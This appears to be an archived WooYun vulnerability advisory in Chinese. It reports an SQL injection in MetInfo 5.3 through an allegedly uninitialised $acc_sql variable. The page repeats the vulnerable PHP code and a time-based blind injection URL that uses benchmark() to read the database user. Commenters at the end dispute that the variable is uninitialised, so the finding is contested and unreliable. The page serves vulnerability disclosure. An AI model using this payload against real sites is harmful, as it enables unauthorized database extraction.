漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:MetInfo最新版SQL注入一枚
提交时间:2015-10-01 09:34
修复时间:2016-01-11 15:32
公开时间:2016-01-11 15:32
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情 披露状态:
2015-10-01: 细节已通知厂商并且等待厂商处理中 2015-10-02: 厂商已经确认,细节仅向厂商公开 2015-10-05: 细节向第三方安全合作伙伴开放(绿盟科技 、唐朝安全巡航 ) 2015-11-26: 细节向核心白帽子及相关领域专家公开 2015-12-06: 细节向普通白帽子公开 2015-12-16: 细节向实习白帽子公开 2016-01-11: 细节向公众公开
简要描述: 未初始化问题
详细说明: 出现在MetInfo5.3/include/global/showmod.php中
if($dataoptimize[$pagemark]['nextlist']){ if($met_pnorder==1){ $csql="class1='$class1' and class2='$class2' and class3='$class3'"; $cpnorder=$class3?$class_list[$class3]['list_order']:($class2?$class_list[$class2]['list_order']:$class_list[$class1]['list_order']); } else{ $csql="class1='$class1'"; $cpnorder=$class_list[$class1]['list_order']; } $acc_sql=$met_member_use==2?"(access<='$metinfo_member_type') and":""; $pn_sql=pn_order($cpnorder,$news); if($cpnorder<4){ $allnews=$db->get_all("select * from $dbname where $csql and lang='$lang' and (recycle='0' or recycle='-1') and $acc_sql $pn_sql[2]"); $allnum=count($allnews); if($allnum>1){ foreach($allnews as $keyall=>$valall){ if($valall['id']==$id){ if(is_array($allnews[$keyall-1])){ if($keyall-1>=0){$prenews=$allnews[$keyall-1];} } if(is_array($allnews[$keyall+1])){ if($keyall+1<=$allnum){$nextnews=$allnews[$keyall+1];} }
$acc_sql没有初始化而且没单引号可以覆盖注入
进去这一步if($met_pnorder==1){ $csql="class1='$class1' and class2='$class2' and class3='$class3'"; $cpnorder=$class3?$class_list[$class3]['list_order']:($class2?$class_list[$class2]['list_order']:$class_list[$class1]['list_order']); } 可以覆盖了
看看数据库日志
成功带入字符 构造exp
**.**.**.**/MetInfo5.3/download/showdownload.php?id=1&acc_sql=aaaa or if(ascii(mid(user(),1,1))=114,benchmark(10000000,md5(2)),1)%23
漏洞证明: 出现在MetInfo5.3/include/global/showmod.php中
if($dataoptimize[$pagemark]['nextlist']){ if($met_pnorder==1){ $csql="class1='$class1' and class2='$class2' and class3='$class3'"; $cpnorder=$class3?$class_list[$class3]['list_order']:($class2?$class_list[$class2]['list_order']:$class_list[$class1]['list_order']); } else{ $csql="class1='$class1'"; $cpnorder=$class_list[$class1]['list_order']; } $acc_sql=$met_member_use==2?"(access<='$metinfo_member_type') and":""; $pn_sql=pn_order($cpnorder,$news); if($cpnorder<4){ $allnews=$db->get_all("select * from $dbname where $csql and lang='$lang' and (recycle='0' or recycle='-1') and $acc_sql $pn_sql[2]"); $allnum=count($allnews); if($allnum>1){ foreach($allnews as $keyall=>$valall){ if($valall['id']==$id){ if(is_array($allnews[$keyall-1])){ if($keyall-1>=0){$prenews=$allnews[$keyall-1];} } if(is_array($allnews[$keyall+1])){ if($keyall+1<=$allnum){$nextnews=$allnews[$keyall+1];} }
$acc_sql没有初始化而且没单引号可以覆盖注入
进去这一步if($met_pnorder==1){ $csql="class1='$class1' and class2='$class2' and class3='$class3'"; $cpnorder=$class3?$class_list[$class3]['list_order']:($class2?$class_list[$class2]['list_order']:$class_list[$class1]['list_order']); } 可以覆盖了
看看数据库日志
成功带入字符 构造exp
**.**.**.**/MetInfo5.3/download/showdownload.php?id=1&acc_sql=aaaa or if(ascii(mid(user(),1,1))=114,benchmark(10000000,md5(2)),1)%23
修复方案: 版权声明:转载请注明来源 Xser @乌云
漏洞回应 厂商回应: 危害等级:高
漏洞Rank:20
确认时间:2015-10-02 13:13
厂商回复: 系统漏洞后续版本修复,感谢反馈!
最新状态: 暂无
漏洞评价:
评价
2016-01-13 21:12 |
李小弟 ( 路人 | Rank:1 漏洞数:1 | \-)(-/)
我智商严重不够啊?$acc_sql=$met_member_use==2?"(access<='$metinfo_member_type') and":"";这句不是初始化是什么?if之后必定执行此初始化语句,球大神解释,我智商不够
2016-01-21 20:06 |
淡蓝色の忧伤 ( 普通白帽子 | Rank:176 漏洞数:27 | 开启审计php代码模式 (⊙v⊙)嗯)
@李小弟 这个漏洞有问题 $acc_sql=$met_member_use==2?"(access<='$metinfo_member_type') and":""; 这句就是初始化
2016-01-22 16:14 |
李小弟 ( 路人 | Rank:1 漏洞数:1 | \-)(-/)
@淡蓝色の忧伤 我还以为就我一个人读代码。。。。你把存货亮出来吧,不要再藏了,让他们年末也加加班。。。你要是再不亮出来,我可要抢你风头了
2016-01-22 18:28 |
淡蓝色の忧伤 ( 普通白帽子 | Rank:176 漏洞数:27 | 开启审计php代码模式 (⊙v⊙)嗯)
@李小弟 考试还没考完~~~~(>_<)~~~~,哪有时间搞这个